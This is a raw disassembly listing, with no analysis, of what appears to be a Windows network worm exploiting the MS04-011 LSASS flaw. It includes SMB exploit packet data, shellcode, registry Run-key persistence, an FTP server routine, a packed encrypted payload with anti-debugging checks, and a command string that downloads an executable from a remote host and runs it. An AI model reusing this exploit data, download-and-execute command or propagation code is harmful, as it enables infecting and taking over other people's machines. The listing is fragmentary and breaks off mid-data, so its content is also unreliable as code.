dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4065D8 dd offset loc_401493+2 ; DATA XREF: sub_401583+3F6o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset dword_40707C dd 1, 0 dd 1, 0 dd offset dword_40707C dd 1, 0 dd 1, 0 dd offset dword_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_40666C dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401583+425o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4066D8 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401583+450o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_40674C dd 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 4 dup(0) dd 20h, 0Ch dup(0) dword_406810 dd 1004600h ; sub_401583+19Er dd 1, 20h, 0Ch dup(0) dd 7515123Ch, 2, 20h, 0Ch dup(0) dd 751C123Ch, 0Fh dup(0) off_4068C8 dd offset dword_406924 ; DATA XREF: sub_40219B:loc_4021F3r ; sub_40219B+B6r dd offset dword_406918 off_4068D0 dd offset dword_406910 ; DATA XREF: sub_401B59+1Ar ; sub_401B59+2Dr off_4068D4 dd offset dword_406908 ; DATA XREF: sub_401B59+77r ; sub_401B59+84r off_4068D8 dd offset dword_406900 ; DATA XREF: sub_401B59+A8r ; sub_401B59+B5r off_4068DC dd offset dword_4068F8 ; DATA XREF: sub_401B59+2C6r ; sub_401B59+2D3r ... off_4068E0 dd offset dword_4068F0 ; DATA XREF: sub_401B59+184r ; sub_401B59+191r off_4068E4 dd offset dword_4068E8 ; DATA XREF: sub_401B59+1B9r ; sub_401B59+1C6r dword_4068E8 dd 20303531h, 0A4B4Fhdword_4068F0 dd 20303032h, 0A4B4Fhdword_4068F8 dd 20363232h, 0A4B4Fhdword_406900 dd 20303332h, 0A4B4Fhdword_406908 dd 20313333h, 0A4B4Fhdword_406910 dd 20303232h, 0A4B4Fhdword_406918 dd 5341534Ch, 56532053h, 52hdword_406924 dd 7361736Ch, 652E7373h, 6578haEchoOffEchoOpe db 'echo off&echo open %s 1023>>cmd.ftp&echo anonymous>>cmd.ftp&echo ' ; DATA XREF: .text:off_406030o db 'user&echo bin>>cmd.ftp&echo get %i_upload.exe>>cmd.ftp&echo bye>>' db 'cmd.ftp&echo on&ftp -s:cmd.ftp&%i_upload.exe&echo off&del cmd.ftp' db '&echo on',0Ah,0 align 10h a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_4010D2:loc_401140o align 4 asc_406A0C db 0Dh,0Ah,0 ; DATA XREF: sub_401210+40o align 10h aCFtplog_txt db 'c:\ftplog.txt',0 ; DATA XREF: sub_401210+9o align 10h aSC db '%s%c',0 ; DATA XREF: sub_40137D+1DFo align 4 aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40137D+20o ; sub_401583+23o align 4 dword_406A34 dd 6EB06EBh, 0 dword_406A3C dd 1CEC8166h dword_406A40 dd 0E4FF07h dword_406A44 dd 302E35h dword_406A48 dd 312E35h aQuit db 'QUIT',0 ; DATA XREF: sub_401B59+2E4o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_401B59+1A2o align 4 aI_I_I_I db '%i.%i.%i.%i',0 ; DATA XREF: sub_401B59+173o ; sub_401F4B+79o word_406A68 dw 2Ch ; DATA XREF: sub_401B59+EEr align 4 aPort db 'PORT',0 ; DATA XREF: sub_401B59+C6o align 4 aPass db 'PASS',0 ; DATA XREF: sub_401B59+95o align 4 aUser db 'USER',0 ; DATA XREF: sub_401B59+64o align 4 asc_406A84: ; DATA XREF: sub_401F4B+157o unicode 0, < >,0 a1_YourComputer db '1. Your computer is affected by the MS04-011 vulnerability',0Dh,0Ah ; DATA XREF: sub_4020D9+B2o db '2. It can be that dangerous computer viruses similar',0Dh,0Ah db ' the Blaster worm infect your computer',0Dh,0Ah db '3. Please update your computer with the MS04-011 LSASS patch',0Dh,0Ah db ' from the www.microsoft.com website',0Dh,0Ah db '4. This is an message from the SkyNet Team for',0Dh,0Ah db ' malicious activity prevention',0Dh,0Ah,0 align 4 aSkynet db 'SkyNet',0 ; DATA XREF: sub_4020D9+ADo align 4 aSkynetnotice db 'SkynetNotice',0 ; DATA XREF: sub_4020D9+3Fo align 4 aDrvddll_exe db 'Drvddll_exe',0 ; DATA XREF: sub_40219B+EBo aDrvsys_exe db 'drvsys.exe',0 ; DATA XREF: sub_40219B+DFo align 4 aSsgrate_exe db 'ssgrate.exe',0 ; DATA XREF: sub_40219B+CEo aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_40219B+8Bo align 10h asc_406C50: ; DATA XREF: sub_40219B+4Bo unicode 0, <\>,0 align 10h off_406C60 dd offset sub_402BEF ; DATA XREF: sub_402A24+1Cr dword_406C64 dd 2 ; sub_4036B9+46r align 10h off_406C70 dd offset word_406C7A ; DATA XREF: sub_402900+1Er ; sub_402B3C+12r ... dd offset word_406C7A db 2 dup(0) word_406C7A dw 20h ; DATA XREF: sub_403966+18r ; .text:off_406C70o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_406E7C dd 1 dd 2Eh, 1 dword_406E88 dd 0C0000005h ; sub_402DF4+11o dd 0Bh, 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_406F00 dd 3 dword_406F04 dd 7 dword_406F08 dd 0Ah dword_406F0C dd 8Ch ; sub_402CB3+8Fw ... dd 0FFFFFFFFh, 0A00h, 10h dword_406F1C dd 19930520h, 4 dup(0) ; sub_403586+2o dword_406F30 dd 2 ; sub_4036B9+28r off_406F34 dd offset aR6002FloatingP ; DATA XREF: sub_4036B9+FCr ; sub_4036B9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 405390h, 9, 405364h, 0Ah, 405340h, 10h, 405314h dd 11h, 4052E4h, 12h, 4052C0h, 13h, 405294h, 18h, 40525Ch dd 19h, 405234h, 1Ah, 4051FCh, 1Bh, 4051C4h, 1Ch, 40519Ch dd 78h, 40518Ch, 79h, 40517Ch, 7Ah, 40516Ch, 0FCh, 406A0Ch dd 0FFh, 40515Ch byte_406FC0 db 1 ; DATA XREF: sub_4036B9+1Bo ; sub_403997+E1r db 2, 4, 8 align 8 dword_406FC8 dd 3A4h dword_406FCC dd 82798260h, 21h, 0dword_406FD8 dd 0DFA6h align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h dword_40707C dd 0 ; .text:00406638o ... dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4070B8 dd 3F8h ; sub_403DE4+5r align 10h dword_4070C0 dd 0 ; sub_401000+10w ... dword_4070C4 dd 0 dword_4070C8 dd 0 ; sub_40137D+Co ... dword_4070CC dd 0 ; sub_402770+91w dword_4070D0 dd 0 ; sub_402E8F:loc_402EA1r ... align 8 dword_4070D8 dd 0 dd 3 dup(0) dword_4070E8 dd 0 dword_4070EC dd 0 dword_4070F0 dd 0 dword_4070F4 dd 0 dword_4070F8 dd 0 dword_4070FC dd 0 dd 0 dword_407104 dd 0 dd 3 dup(0) dword_407114 dd 0 dd 0 byte_40711C db 0 ; DATA XREF: sub_402C00+2Dw align 10h dword_407120 dd 0 dword_407124 dd 0 ; sub_402C00+8Bw dword_407128 dd 0 ; sub_402CB3+46w ... dword_40712C dd 41h dup(0) dword_407230 dd 0 ; sub_403195+23w ... dword_407234 dd 0 dword_407238 dd 0 ; sub_40380C:loc_403876w dword_40723C dd 0 ; sub_403B30+4w ... dword_407240 dd 0 ; resolved to->USER32.MessageBoxA ; sub_404663+2Ew ... dword_407244 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_404663:loc_4046B2r dword_407248 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_404663+60r dd 2 dup(0) dword_407254 dd 0 dd 3 dup(0) dword_407264 dd 0 ; sub_403B30+3Ar ... dd 0 dword_40726C dd 0 ; sub_4047EE+4Cw ... dword_407270 dd 0 dword_407274 dd 0 dword_407278 dd 0 ; sub_4044B7+5r ... dword_40727C dd 0 ; sub_403E83+259r ... dword_407280 dd 0 ; sub_403E83+310w ... dword_407284 dd 0 ; sub_403E83+22Cr ... dword_407288 dd 0 ; sub_403E58r ... dword_40728C dd 0 ; sub_403E58+8r ... dword_407290 dd 0 ; sub_403997+65w ... align 10h dword_4072A0 dd 3 dup(0) ; sub_403997+171o ... dword_4072AC dd 0 ; sub_403997+15Dw ... dd 4 dup(0) byte_4072C0 db 0 ; DATA XREF: sub_403BD6:loc_403CE2w ; sub_403BD6:loc_403CFFw ... align 4 dd 3Fh dup(0) byte_4073C0 db 0 ; DATA XREF: sub_403997+5Co ; sub_403997+AFo ... byte_4073C1 db 0 ; DATA XREF: sub_402FE1+3Fr ; sub_402FE1+84r ... align 4 dd 40h dup(0) dword_4074C4 dd 0 ; sub_403997+12Bw ... dword_4074C8 dd 0 ; sub_403472+29r ... dd 5 dup(0) dword_4074E0 dd 0 ; sub_4032C7+45r ... dword_4074E4 dd 3Fh dup(0) dword_4075E0 dd 0 ; sub_4032C7:loc_403351r ... dword_4075E4 dd 0 dword_4075E8 dd 0 dword_4075EC dd 0 dword_4075F0 dd 0 ; sub_402C00+57r dword_4075F4 dd 0 dword_4075F8 dd 0 ; sub_402E37+Fr ... align 1000h _text ends ; Section 2. (virtual address 00008000) ; Virtual size : 00017000 ( 94208.) ; Section size in file : 00017000 ( 94208.) ; Offset to raw data for section: 00008000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rsrc segment para public 'CODE' use32 assume cs:_rsrc ;org 408000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing dd 7C801D77h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 0 dd 8000h, 0 dd 0FFFFFFFFh, 803Ch, 8000h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 4C000000h, 4C64616Fh dd 61726269h, 417972h, 47000000h, 72507465h, 6441636Fh dd 73657264h, 73h, 72695600h, 6C617574h, 6F6C6C41h, 63h dd 72695600h, 6C617574h, 65657246h, 2C8D0000h, 12B9CC65h dd 0D2708F0h, 42D27649h, 7754046Ah, 84612950h, 0E1B60F25h dd 42F8A4Dh, 0F48884EAh, 1C4B750Eh, 3D825013h, 48E1080Eh dd 8B1C6001h, 3A7A2474h, 3C283C7Ch, 0FC2C0044h, 80B2DB33h dd 74180039h, 2B3A442h, 3DC16DE8h, 0C933F673h, 94364E5h dd 0CAC0CB1Ch, 8723115Bh, 10B04136h, 3F194FC6h, 0F701C012h dd 0EBAA3F75h, 8F4DF9D4h, 99CB2B1Dh, 0EB10422Eh, 0D179AC28h dd 134D740Fh, 911C20C9h, 7EE0C148h, 0CE2CFA08h, 7D0C3D2Dh dd 801D0A7Dh, 64105FCh, 777FF883h, 95818CB8h, 1B3C58Bh dd 2BF7D456h, 0A4F3F000h, 28EEB5Eh, 57503D2h, 1246168Ah dd 0EA06C3BBh, 0FFEEE841h, 0D886DD02h, 0F2720FE7h, 0A22BC32Ah dd 1C088960h, 0E010C261h, 54B9A648h, 702E0440h, 1901AD29h dd 83040680h, 0F47DF809h, 0FDEBA077h, 0CC6AE07Fh, 0B02FBB18h dd 341F5452h, 34440804h, 6048808Ah, 8589D08h, 21410BAh dd 5450201Dh, 53F0CAADh, 1029100Ah, 0F5A9A04h, 0A7201016h dd 53FA03Dh, 53884401h, 57525102h, 80E85556h, 0ED815D1Eh dd 40116130h, 8025B58Dh, 0FC468B0Dh, 0A304C083h, 856C1D9h dd 31C1687h, 89E18EC2h, 42128F8Dh, 0D912018h, 8C240C93h dd 28239743h, 0DE8F9B10h, 854473E0h, 0E1874F6h, 3B52BB9h dd 757BFCF2h, 25FA4840h, 0E28DE677h, 513FC29Fh, 0A1AF26E8h dd 0BE2C4EC6h, 6AC484D8h, 98685240h, 6EC5128h, 858912FFh dd 5608438Bh, 3103D7E8h, 804DF0Ch, 2A0242CBh, 34023362h dd 840FC985h, 66558F89h, 202A5108h, 8500053Eh, 8B7B74C0h dd 0C6176F95h, 0D738DEFh, 87544C6h, 136720D0h, 0F72DEB0Ch dd 48057C1h, 81521E74h, 7F8990E1h, 85338D51h, 11503123h dd 0A183C0Eh, 267D95FFh, 9BC1D14h, 6C80308h, 213F52D0h dd 6A5112D1h, 0BB1E29E7h, 8AA66816h, 19187995h, 12C31001h dd 0C4B44468h, 998BB52Bh, 9F7EDD06h, 15B3C79Ah, 5D0E000Ch dd 595A5F5Eh, 4AE1C35Bh, 77A2CC01h, 4309D0BBh, 6D098132h dd 1C507924h, 746E4507h, 5020C072h, 10DD696Fh, 8B34E9Dh dd 0D475D346h, 6854C6C0h, 7F70FC65h, 0F7637672h, 0F914B6FBh dd 18702452h, 63FE7325h, 646C46C7h, 625B99FFh, 4A6738BDh dd 0FF4E9D61h, 0BCEF387Eh, 7F79BC6Bh, 636C6D7Ch, 0C76B202Eh dd 0ED72620Bh, 2E689575h, 316F3F52h, 6C612E64h, 44D620BBh dd 6EF25BE8h, 8CE05DF2h, 0A398BAA9h, 7540E209h, 7726573h dd 642E3233h, 4D0F1E6Ch, 619F3E5Fh, 6F42C367h, 77834178h dd 0B5C511DDh ; --------------------------------------------------------------------------- loc_408350: ; CODE XREF: .rsrc:00408378j xor esp, [esi+14h] imul edi, [eax+40h], -1Ah insb cmpsb and eax, ds:74697845h push eax ficom word ptr es:[eax-51h] movsd dec edx ; --------------------------------------------------------------------------- db 80h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFFCh in al, dx push ebx cwde cmpsd push eax call near ptr 8159DE87h jmp short loc_408350 ; --------------------------------------------------------------------------- cmp eax, 0CCE3218Bh push cs add ecx, [ecx] retf ; --------------------------------------------------------------------------- db 51h dd 969293FFh, 893A0248h, 4EFC4526h, 0D3030404h, 0F4FB7F88h dd 1A27C602h, 0C3F60E52h, 7537C690h, 0C0184CFCh, 835AAB14h dd 0EB04C20Eh, 0CC6A1E0h, 208B068Bh, 168FBB75h, 0FFB805A3h dd 5BA90350h, 36C95D34h, 7DE56F2Dh, 447C68Fh, 3BC15FEEh dd 0F44474C3h, 0CF9A3877h, 0F3033D1Eh, 0D82BD340h, 78FC5D89h dd 0DAF1EDADh, 2AA53CD7h, 0E983C884h, 9373C708h, 281666EDh dd 0EF0981F8h, 0FB9BA70Fh, 0CE8C1C1h, 0CD26E3D2h, 818B11C2h dd 49070197h, 0EBE1C8C7h, 0A063A5CCh, 960EDF60h, 0A9792808h dd 0DC201441h, 0AA45843Ch, 3E837634h, 0B70548C3h, 0C9A90C43h dd 0DE9861E8h, 6FEED1C4h, 7E0072FDh, 7EEB6802h, 0C4338B51h dd 53082E55h, 0C07E3D6Ah, 3B0E5B50h, 4D507DCFh, 0ECA13CD2h dd 25A17012h, 0A057433h, 5C86D615h, 0C139A9C6h, 3CE4EB8Bh dd 410ECD87h, 302975E9h, 571E0192h, 1807F838h, 177D08EBh dd 0EE9D8E9h, 60CEA757h, 0C48610C0h, 0CC89F22Bh, 5625F24h dd 0B3EB9983h, 0AFD041EDh, 3259785Bh, 3B505118h, 0BE01B7C3h dd 0EC830E4Bh, 2A746602h, 8E1654E8h, 9C59505Fh, 0C8496210h dd 37495CE9h, 24D54F5Dh, 669D9560h, 7CC94DD4h, 8B1A0C48h dd 0C00F8F07h, 0F4EB0889h, 0C3EC961h, 0A7FAB6h, 0C131544h dd 8B0D915Fh, 70B767B9h, 0C1629B8Bh, 17270448h, 1C4CC23h dd 10420E26h, 0A4E94008h, 0F21D13A8h, 0BD163303h, 384B8533h dd 0F985C17Eh, 81A5F302h, 0D2E183D6h, 9C6C78EAh, 7B2BFA7Fh dd 0E8E81C04h, 2B5D6909h, 200494EBh, 98C11634h, 30772BF7h dd 0C748FED5h, 0C757584Ah, 5D525614h, 235A84A5h, 913451A7h dd 0B7241689h, 42B0654h, 5AD0FF56h, 64240CC4h, 673D6F24h dd 0B1EB2841h, 3A883922h, 90E95FAh, 0EB816B7h, 0F3A75974h dd 2E0943Bh, 73EE628Ch, 90E49604h, 0B5E68F02h, 31AE1AF4h dd 0AAE2D443h, 0BFA883BAh, 86885CF1h, 80ADADE2h, 4B28EB24h dd 3970FFD8h, 75107A46h, 74061604h, 671D272Ch, 76431603h dd 65C64E5Ch, 3D837E83h, 712148FFh, 51575001h, 5419E853h dd 22DD86A7h, 0C31074Ch, 6EC9EB14h, 890CE5Eh, 53B07816h dd 86110EEFh, 0C450417h, 0A3A58389h, 73105CB2h, 0B98C8B25h dd 0D6F2DCFFh, 0DDBA59D2h, 0FB85477Fh, 14557310h, 2F4D2FAh dd 6FB0D6FAh, 44F20DCAh, 0C74ACAC4h, 9911A039h, 52498ADFh dd 0A2A9444Ah, 0F00A28E2h, 22E28125h, 0AC0BEBE3h, 48031ACBh dd 0C2153953h, 58093F02h, 0B841092Dh, 23087252h, 5A118390h dd 2920689h, 0C20B0BEAh, 0D79B0E05h, 0DC5AE505h, 5B415D06h dd 0FF01C8A3h, 8B6000CCh, 8B242474h, 8B28247Ch, 0FC2C2444h dd 80B2DB33h, 42741839h, 0E802B3A4h, 6Dh, 0C933F673h, 64E8h dd 331C7300h, 5BE8C0h, 23730000h, 0B04102B3h, 4FE810h dd 0C0120000h, 3F75F773h, 0E8D4EBAAh, 4Dh, 1075CB2Bh, 42E8h dd 0AC28EB00h, 4D74E8D1h, 1CEBC913h, 0E0C14891h, 2CE8AC08h dd 3D000000h, 7D00h, 0FC800A73h, 83067305h, 2777FF8h, 8B954141h dd 5601B3C5h, 0F02BF78Bh, 0EB5EA4F3h, 75D2028Eh, 46168A05h dd 33C3D212h, 0EEE841C9h, 13FFFFFFh, 0FFE7E8C9h, 0F272FFFFh dd 247C2BC3h, 247C8928h, 10C2611Ch, 80B500h, 95E00h, 14700h dd 865A00h, 800800h, 800C00h, 40000000h, 76CAB800h, 888DF040h dd 10001082h, 8B014189h, 8B042454h, 2C60C52h, 5C283E9h dd 4A89CA2Bh, 0C3C033FCh, 4076CAB8h, 58F64F0h, 0 ; --------------------------------------------------------------------------- add esp, 4 push ebp push ebx push ecx push edi push edx push esi lea ebx, [eax+10001043h] mov edx, [ebx+18h] mov ebp, eax push 40h push 1000h push dword ptr [ebx+4] push 0 mov ecx, [ebx+10h] add ecx, edx mov eax, [ecx] call eax mov edi, eax push eax mov esi, [ebx] mov edx, [ebx+18h] add esi, edx mov ecx, [ebx+0Ch] add ecx, edx lea eax, [ebp+1000111Dh] push dword ptr [ebx+4] pop dword ptr [eax] push 0 push eax push edi push esi call ecx pop eax add eax, [ebx+8] mov edi, eax mov edx, [ebx+18h] mov esi, eax mov eax, [esi-4] add eax, 4 sub esi, eax mov [esi+8], edx mov ecx, [ebx+10h] mov [esi+24h], ecx mov ecx, [ebx+14h] push ecx mov [esi+28h], ecx call edi ; VirtualFree mov [ebp+10001121h], eax mov esi, eax pop ecx add ecx, [ebx+18h] push 8000h push 0 push edi call dword ptr [ecx] mov eax, esi pop esi pop edx pop edi pop ecx pop ebx pop ebp jmp eax ; --------------------------------------------------------------------------- db 5Eh dd 9, 82Bh dup(0) db 2 dup(0) word_40A89A dw 0 ; DATA XREF: .text:00406750o ; .text:00406794o ... dd 35D9h dup(0) assume ds:_text ; =============== S U B R O U T I N E ======================================= public start start proc near cld call loc_41802E start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_418006 proc near ; CODE XREF: .rsrc:0041807Dp push ebx mov ecx, 0DA5h mov ebx, edx loc_41800E: ; CODE XREF: sub_418006+13j xor [eax], dx lea eax, [eax+2] xchg dl, dh lea edx, [ebx+edx] loop loc_41800E pop ebx retn sub_418006 endp ; --------------------------------------------------------------------------- daa stc loc_41801F: ; CODE XREF: .rsrc:00418068j pop ebp retn ; --------------------------------------------------------------------------- loc_418021: ; CODE XREF: .rsrc:00418036j ; .rsrc:00418047j push ebp mov eax, 8000h xor ecx, ecx jmp short loc_418055 ; =============== S U B R O U T I N E ======================================= sub_41802B proc near ; CODE XREF: .rsrc:0041804Ap ; .rsrc:00418050p rdtsc retn sub_41802B endp ; --------------------------------------------------------------------------- loc_41802E: ; CODE XREF: start+1p test eax, eax jnz short loc_41803A int 2Ch ; Internal routine for MSDOS (IRET) test eax, eax jns short loc_418021 jmp short loc_418049 ; --------------------------------------------------------------------------- loc_41803A: ; CODE XREF: .rsrc:00418030j push eax sidt fword ptr [esp-2] pop eax mov eax, [eax+6] shl eax, 10h jns short loc_418021 loc_418049: ; CODE XREF: .rsrc:00418038j push ebp call sub_41802B xchg eax, ecx call sub_41802B loc_418055: ; CODE XREF: .rsrc:00418029j sub eax, ecx mov ebp, [esp+4] sub dword ptr [esp+4], 156D8h ; CODE XREF: .rsrc:004180B3j sub eax, 100h jnb short loc_41801F sub ebp, 301006h lea eax, [ebp+301082h] mov dx, [eax-65h] call sub_418006 int 3 ; Trap to Debugger stc stosd jge short loc_4180F3 adc ecx, eax mov ds:9E9FC968h, al out dx, al fdivr dword ptr [ebx-57F20D34h] and [ebx], ah cdq rol cl, 1 call near ptr 4BAB91F1h out 8Ah, al ; DMA page register 74LS612: ; Channel 7 (address bits 17-23) push esi xor [edx-6EAFC854h], eax or ebx, [ebx-1Fh] dec eax inc ecx xor cl, [ecx-29FDD357h] jns short near ptr loc_41805B+1 ror byte ptr [ebx-1D485A02h], 58h adc bh, [edx-402781Dh] aam 0D2h db 2Eh add edi, eax imul esp, [esi-32h], 663B2716h jg short loc_418124 xor eax, 5978E281h db 2Eh clc sbb al, 2Ah enter 0FFFFBBECh, 0E2h mov ds:674FA869h, al pop esi mov [esi+55h], ah cmp al, 73h xor [edi+6Dh], eax iret ; --------------------------------------------------------------------------- dd 0D5589830h db 6, 52h, 85h ; --------------------------------------------------------------------------- loc_4180F3: ; CODE XREF: .rsrc:00418085j dec esp mov ds:0C39CC34Fh, eax mov dword ptr [ebp+7A8686CEh], 4A7E41B8h xchg eax, ebx push eax push 9FBB4E50h stc mov eax, 5DA042B5h insb test [eax-43155B83h], esi repne mov bh, 0ACh mov eax, 7C8D8ADCh mov ebx, 28CE5905h loc_418124: ; CODE XREF: .rsrc:004180CEj lodsb scasb lahf xor eax, 1C9A4B75h popa imul edx, [edx+368445DBh], -6Ah pop ebx push esp sub eax, 275E3ACEh xchg eax, ebp aad 0EBh xchg eax, edi pop ds assume ds:nothing or [ecx+2D26FCD3h], ecx xlat mov edx, 3F44583Eh db 66h out dx, al xor [ebx], esp xchg eax, ebx mov ebp, 8257FB4h push esp mov dh, dh int 0F4h call near ptr 0F2AAE980h aaa push cs xor al, 89h xchg eax, edx idiv dword ptr [esi+10h] inc edi retn ; --------------------------------------------------------------------------- dw 0F3C0h dd 53955E72h, 6908034Eh, 11D59E8Ch, 0C4F326E3h, 614AEEE7h dd 31233EB5h, 3B232E28h, 0D4894F22h, 61A64375h, 93F63887h dd 0B4E72256h, 447FCFF8h, 0E226FADAh, 0A7B417E2h, 2267251Bh dd 6FE2AF49h, 0A3974045h, 6B88F61h, 0A2D7B07Dh, 0A8E39742h dd 8BD4F3A9h, 0B38010Ah, 8B9B4A3h, 1710517Ah, 998710Ah dd 0F22D6E8Ah, 26D88186h, 847CDE0Ah, 7318F1E9h, 1439A786h dd 0CBD2321Bh, 447147F2h, 6474F36Bh, 9B9A29Bh, 94C84F3Eh dd 3B5C21CBh, 0C5F57109h, 0D50EF87h, 0A803F31Fh, 7560FCD9h dd 0EE31806Ch, 95ED1A70h, 0F2C6F452h, 0C4FAD0A4h, 78F0CECh dd 853B2426h, 0E6DE14E9h, 4483D042h, 0C0C746Dh, 0EEBAFE8Dh dd 26DBB0ADh, 0C7FBD4A5h, 68E0BEDh, 823C2525h, 0FCD83AEEh dd 2D7C554Ch, 67F4256Eh, 0EDBC918Eh, 0AB3474AEh, 97FDBF99h dd 0E91CF486h, 0E9A8E90Fh, 405D0604h, 487C5645h, 437CE390h dd 8D5596BFh, 41DDB6AFh, 0C8FDD465h, 0A44F685h, 0F6347D1Ah dd 19725EA5h, 8A8FBC50h, 459BCAF3h, 86BE97A0h, 0A9DC3A34h dd 0C9F83FD0h, 0BE50F7F0h, 0A735455h, 642ADCEh, 0FFF25861h dd 6AAF6FCFh, 373251A2h, 0AAEF94C8h, 226CD560h, 0EB1FFA35h dd 27E9A491h, 24603902h, 4B8200D6h, 1625F272h, 74C0A9BEh dd 2E6FB8C2h, 0CC30F2EBh, 0C6194472h, 0F2BE1A24h, 0AA6E3A34h dd 4D81586Eh, 4130FFFFh, 0FD3E9AA4h, 2B6435B5h, 4F01EAFFh dd 0DF0A7C48h, 0FBDE416h, 34E53436h, 0C4825B54h, 5F8EFAF3h dd 8EB26496h, 846F3E39h, 6D83DBE6h, 0F112D07Ah, 1143E3E7h dd 309FBB37h, 0DC085C58h, 719350FDh, 0E03C857Bh, 2B6633B9h dd 5303ECF3h, 0C3086644h, 13BBE21Ah, 0E8E3323Ah, 0BB845D5Bh dd 73A47C9Ch, 0BF3B2017h, 7C6FBD8Ah, 0DF2DDB0h, 76208D04h dd 552F1DFDh, 5F32C73Fh, 0D89D345Ch, 45B0E9C9h, 95D9279Ch dd 0B168BEBCh, 29FA2091h, 7A8E9802h, 1746521Ah, 9C003F3Eh dd 0FC8218D3h, 110A9B4Ch, 1C3D7D35h, 0DFE6D56Ah, 0D806BF8Ah dd 0F94C3374h, 192DE4ABh, 39674028h, 8C70A68h, 29A9EAD2h dd 0B54E355Fh, 3ABFC0F0h, 8E6FA024h, 71280161h, 914948F5h dd 506D288Dh, 88B0861h, 2EC182EBh, 0F0C9A2C1h, 458393C1h dd 569C1DB1h, 0A42A332Eh, 14B4A17Bh, 3B6A79C6h, 5B3EE962h dd 0C2ABB492h, 9BCBACB7h, 1E182B49h, 0CC0B0963h, 79A10533h dd 1C7D3225h, 0A9E0A6BCh, 5CBD7F31h, 3D3879D1h, 74CD968Fh dd 0BCEDC6D5h, 0B66289AFh, 8F7E7771h, 71265E4Dh, 6B0A2F21h dd 38FA0405h, 82FF88C5h, 0ADE47131h, 606A41C4h, 8E0FD8CFh dd 94106351h, 8BC4D5DAh, 0BB717A69h, 61E435A5h, 28B3E013h dd 0F40521F3h, 0AF1998C4h, 8C11EAE5h, 9D574F63h, 6D034B53h dd 531A3A2Fh, 5FF60B03h, 0A22673D0h, 14D39C8Dh, 0E9A59A02h dd 1F44BAB6h, 30187492h, 3090AE27h, 8DE1B210h, 0A945D4Ch dd 7FB6E787h, 90F8A832h, 0C1DC74C7h, 0CA83EDE7h, 253987E9h dd 0B4AA797Ch, 41456219h, 0C416985Bh, 8185A265h, 5E82FAA8h dd 0F1D99B5Dh, 96D56BE8h, 0FCB54955h, 0DDB85D2Dh, 287E6B3Dh dd 9DBC0569h, 0B29AC21Ch, 0D6162AA9h, 371E5C15h, 0D016EFEDh dd 33D481C3h, 0FBAB513h, 6B02507Ah, 7377B1EBh, 0D7E7908Ah dd 0F386E6FAh, 5608839Ah, 0E427DB17h, 7061D18Eh, 2CCE24h dd 0A9FDDE43h, 8C984147h, 7B476CE7h, 694D4EF8h, 2FF8E1E0h dd 0CDDC7073h, 5239120Dh, 0E94A7D3h, 0D086527Ch, 65A959A1h dd 7A437C65h, 0A5D9B253h, 0F6A3D2CCh, 0B748A325h, 63B7B5Ch dd 0E2D13329h, 4A10031Ch, 0A5C8B7E6h, 0D2CCF6DBh, 593A5BADh dd 53772C32h, 0E72AE6A1h, 576A455Ch, 0C8AA1D1h, 83F8547Eh dd 9810B74Eh, 87E3CCD6h, 0A7DB94FAh, 0C7FBC46Ch, 0E81BF4EFh dd 83C150Fh, 285C352Fh, 0B72F031Eh, 58B7ACFAh, 24E53E8Fh dd 53A9752Bh, 943F3B2Dh, 8C6F94ADh, 6C50775Eh, 433F7954h dd 3A093535h, 